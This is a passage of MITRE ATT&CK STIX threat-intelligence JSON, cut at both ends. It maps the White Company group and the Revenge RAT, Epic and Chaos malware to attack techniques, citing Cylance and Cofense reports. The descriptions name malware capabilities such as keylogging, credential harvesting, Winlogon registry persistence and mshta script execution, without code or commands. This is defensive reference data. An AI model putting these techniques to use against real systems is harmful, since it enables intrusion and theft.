et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d", + "description": "[The White Company](https://attack.mitre.org/groups/G0089) has performed anti-analysis checks to determine if its malware was in a debugging environment.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T00:08:18.484Z", + "id": "relationship--459a275a-67c0-4357-acfa-34afe2d0778e", + "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "modified": "2019-06-12T19:55:21.966Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", + "description": " [The White Company](https://attack.mitre.org/groups/G0089) has taken advantage of a known vulnerability in Microsoft Word (CVE 2012-0158) to execute code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T00:08:18.507Z", + "id": "relationship--49315e80-2d47-432f-8e5f-3a694a91bb45", + "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "modified": "2019-06-12T19:55:21.997Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "description": "[The White Company](https://attack.mitre.org/groups/G0089) has obfuscated their payloads through packing.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T00:08:18.505Z", + "id": "relationship--2155f707-de4f-4ef1-9982-1af90392af5f", + "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "modified": "2019-06-12T19:55:22.014Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[The White Company](https://attack.mitre.org/groups/G0089) has used phishing lure documents that trick users into opening them and infecting their computers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T00:08:18.510Z", + "id": "relationship--eba54c2a-854f-4349-9248-314519ed9c43", + "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "modified": "2019-06-12T19:55:22.017Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6aac77c4-eaf2-4366-8c13-ce50ab951f38", + "description": "[The White Company](https://attack.mitre.org/groups/G0089) has sent phishing emails with malicious Microsoft Word attachments to victims.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T00:08:18.529Z", + "id": "relationship--e3d8a792-5c54-4e37-9ce1-6a8555e76a03", + "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "modified": "2019-06-12T19:55:22.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T00:08:18.532Z", + "id": "relationship--8abfac45-26c2-493f-a4f3-3fb4d196712f", + "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "modified": "2019-06-12T19:55:22.059Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--6faf650d-bf31-4eb4-802d-1000cf38efaf", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has the ability to access the webcam.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:36.889Z", + "id": "relationship--2dc986cb-ed76-42ba-9dd9-edaba07b0cc7", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.198Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + }, + { + "source_name": "Cofense RevengeRAT Feb 2019", + "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", + "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has the ability to upload and download files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:36.908Z", + "id": "relationship--1f5aee41-e3bc-4ed0-a0e2-fa8f7cd6de26", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.216Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7fd87010-3a00-4da3-b905-410525e8ec44", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) executes scripts on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:36.910Z", + "id": "relationship--f4f59f92-ca7b-4dc8-8d5b-1b600a93683f", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.235Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + }, + { + "source_name": "Cofense RevengeRAT Feb 2019", + "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", + "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--51dea151-0898-4a45-967c-3ebee0420484", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin to perform RDP access.\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:36.928Z", + "id": "relationship--5fa454cd-2fff-41ca-bfd0-0dce49d34f6d", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.247Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin for screen capture.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:36.932Z", + "id": "relationship--c67ddbdb-7e07-45b3-9f7d-5cdf959ac3b2", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.259Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1035cdf2-3e5f-446f-a7a7-e8f6d7925967", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin for microphone interception.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:36.954Z", + "id": "relationship--ade8894f-e9fd-4391-98c3-d43ad2d7ab9c", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.272Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + }, + { + "source_name": "Cofense RevengeRAT Feb 2019", + "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", + "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin for keylogging.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:36.957Z", + "id": "relationship--1d65c2d6-6f59-40e4-af56-83ad4d9efea8", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.287Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + }, + { + "source_name": "Cofense RevengeRAT Feb 2019", + "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", + "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c848fcf7-6b62-4bde-8216-b6c157d48da0", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has communicated over TCP port 3333.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:36.976Z", + "id": "relationship--7655555d-2074-4743-ae9d-4c1ce827181f", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.300Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) creates a Registry key at HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\Shell to survive a system reboot.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:36.979Z", + "id": "relationship--a01a08e6-3e5a-4674-9d8b-67395fdf9b55", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.312Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) collects the IP address and MAC address from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:36.981Z", + "id": "relationship--9691e661-14fc-4eee-b7d0-14ef24bd6a27", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.333Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) gathers the username from the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:37.002Z", + "id": "relationship--01c6d850-03c2-4ed0-ba1d-cf2cc9062106", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.331Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) has a plugin for credential harvesting.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:37.006Z", + "id": "relationship--21537040-e89a-4908-95c2-2c5d905bcc2f", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.351Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) collects the CPU information, OS information, and system language.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:37.020Z", + "id": "relationship--6765828a-168f-4dd7-8c1b-00f7d98daef5", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.363Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--cc7b8c4e-9be0-47ca-b0bb-83915ec3ee2f", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) uses Base64 to encode information sent to the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:07:37.022Z", + "id": "relationship--6d10e49f-ebd6-47c5-9042-96bd54f7ca79", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.374Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "source_name": "Cylance Shaheen Nov 2018", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T01:08:31.018Z", + "id": "relationship--852e45c7-0d49-43ff-b15c-dd4f6d51703f", + "source_ref": "intrusion-set--6688d679-ccdb-4f12-abf6-c7545dd767a4", + "modified": "2019-06-12T19:55:22.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cylance Shaheen Nov 2018", + "description": "Livelli, K, et al. (2018, November 12). Operation Shaheen. Retrieved May 1, 2019.", + "url": "https://www.cylance.com/content/dam/cylance-web/en-us/resources/knowledge-center/resource-library/reports/WhiteCompanyOperationShaheenReport.pdf?_ga=2.161661948.1943296560.1555683782-1066572390.1555511517" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b0e52ce-517a-4614-a523-1bd5deef6c5e", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) uses the [Forfiles](https://attack.mitre.org/software/S0193) utility to execute commands on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T14:41:03.408Z", + "id": "relationship--b5612c39-e246-409b-97cb-57067cfa27b4", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.388Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense RevengeRAT Feb 2019", + "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", + "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f4882e23-8aa7-4b12-b28a-b349c12ee9e0", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) uses the PowerShell command Reflection.Assembly to load itself into memory to aid in execution.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T14:41:03.429Z", + "id": "relationship--b1c4fbea-d3d4-4e9a-ab46-8683f2bde40b", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.399Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense RevengeRAT Feb 2019", + "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", + "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) uses cmd.exe to execute commands and run scripts on the victim's machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T14:41:03.441Z", + "id": "relationship--b1691566-c8c2-4d93-b5b0-3f5264608d1b", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.414Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense RevengeRAT Feb 2019", + "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", + "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) uses mshta.exe to run malicious scripts on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T14:41:03.467Z", + "id": "relationship--9f99cba5-2fb2-4750-aca4-3d4a0a872685", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-10-08T13:40:44.270Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense RevengeRAT Feb 2019", + "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", + "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) schedules tasks to run malicious scripts at different intervals.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T14:41:03.470Z", + "id": "relationship--ea8f4a2f-6c4e-451e-a107-407d0fc06459", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.451Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense RevengeRAT Feb 2019", + "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", + "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--830c9528-df21-472c-8c14-a036bf17d665", + "description": "[Revenge RAT](https://attack.mitre.org/software/S0379) used blogpost.com as its primary command and control server during a campaign.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-02T14:56:18.652Z", + "id": "relationship--79c960d7-edf2-4005-8c0a-31acd830ca8a", + "source_ref": "malware--bdb27a1d-1844-42f1-a0c0-826027ae0326", + "modified": "2019-06-12T20:05:18.524Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Cofense RevengeRAT Feb 2019", + "description": "Gannon, M. (2019, February 11). With Upgrades in Delivery and Support Infrastructure, Revenge RAT Malware is a Bigger Threat. Retrieved May 1, 2019.", + "url": "https://cofense.com/upgrades-delivery-support-infrastructure-revenge-rat-malware-bigger-threat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--52f3d5a6-8a0f-4f82-977e-750abf90d0b0", + "description": "[Epic](https://attack.mitre.org/software/S0091) has overwritten the function pointer in the extra window memory of Explorer's Shell_TrayWnd in order to execute malicious code in the context of the explorer.exe process.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2019-05-07T17:47:25.127Z", + "id": "relationship--7a1a5bda-170c-44fd-8094-7f78b7f803c9", + "source_ref": "malware--6b62e336-176f-417b-856a-8552dd8c44e1", + "modified": "2019-07-26T16:10:43.210Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--84e02621-8fdf-470f-bd58-993bb6a89d91", + "description": "After initial compromise, [Chaos](https://attack.mitre.org/software/S0220) will download a second stage to establish a more permanent presence on the affected system.", + "created_by_ref": 